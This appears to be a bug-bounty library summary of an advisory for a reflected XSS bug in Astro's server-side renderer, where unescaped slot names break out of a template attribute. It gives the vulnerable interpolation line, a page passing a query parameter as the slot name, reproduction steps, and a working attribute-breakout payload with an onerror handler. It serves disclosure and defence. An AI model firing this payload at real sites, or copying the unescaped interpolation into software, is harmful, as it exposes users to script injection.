# Astro: Reflected XSS via unescaped slot name

Astro interpolates user-controlled slot names unescaped into data-astro-template attributes during SSR, letting attackers break out and inject HTML for reflected XSS.

- Payout: Research
- Severity: high
- Program: Astro
- Found by: floudeciel, cookesan
- Disclosed: 2026-06-16
- CVE: CVE-2026-50146
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-8hv8-536x-4wqp
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-8hv8-536x-4wqp
- Tags: area:web domain:web impact:integrity kind:research platform:ghsa sev:high tech:nodejs tech:react technique:source-review vuln:xss

**Target:** Astro SSR component renderer (client:* directive slot templating)
**Root cause:** In component.ts, the slot `key` is interpolated directly into the `data-astro-template="..."` attribute value without HTML escaping, so a slot name containing `"` breaks out of the attribute context.
**Steps:**
1. Set up Astro 6.3.1 with `output: 'server'`, node adapter, and react integration.
2. Create a page that reads a slot name from a query param: `const slotName = Astro.url.searchParams.get('tab') ?? 'default';` and passes it as `<div slot={slotName}>` inside a `<Wrapper client:load>`.
3. Request `/?tab=abc%22%3E%3C%2Ftemplate%3E%3C%2Fastro-island%3E%3Cimg+src%3Dx+onerror%3Dconfirm(document.domain)%3E%3C!--`.
4. Server renders `<template data-astro-template="abc"></template></astro-island><img src=x onerror=confirm(document.domain)><!--">content</template>`, executing the injected handler.
**How found:** Reporter read the component.ts render code and noticed `key` was interpolated into the attribute value without escaping, then built a minimal SSR app to confirm breakout.
**Exploitation:** Attacker crafts a URL whose `tab` param becomes the slot name; SSR emits it unescaped into the data-astro-template attribute, breaking out to inject an `<img onerror>` that runs in the victim's browser when they visit the link.
**Insight:** Slot names are attacker-influenced when apps derive them from request params; audit every template-literal attribute interpolation in SSR renderers, not just element text content, since attribute-context breakouts are easy to miss.

## Proof of concept (copied exactly from the original report)

**XSS payload breaking out of slot attribute**

```
abc"></template></astro-island><img src=x onerror=confirm(document.domain)><!--
```

**Vulnerable slot name interpolation in component.ts**

```
`<template data-astro-template${key !== 'default' ? `="${key}"` : ''}>${children[key]}</template>`
```

**Astro page passing attacker-controlled slot name**

```
const slotName = Astro.url.searchParams.get('tab') ?? 'default';
---
<html><body>
  <Wrapper client:load>
    <div slot={slotName}>content</div>
```

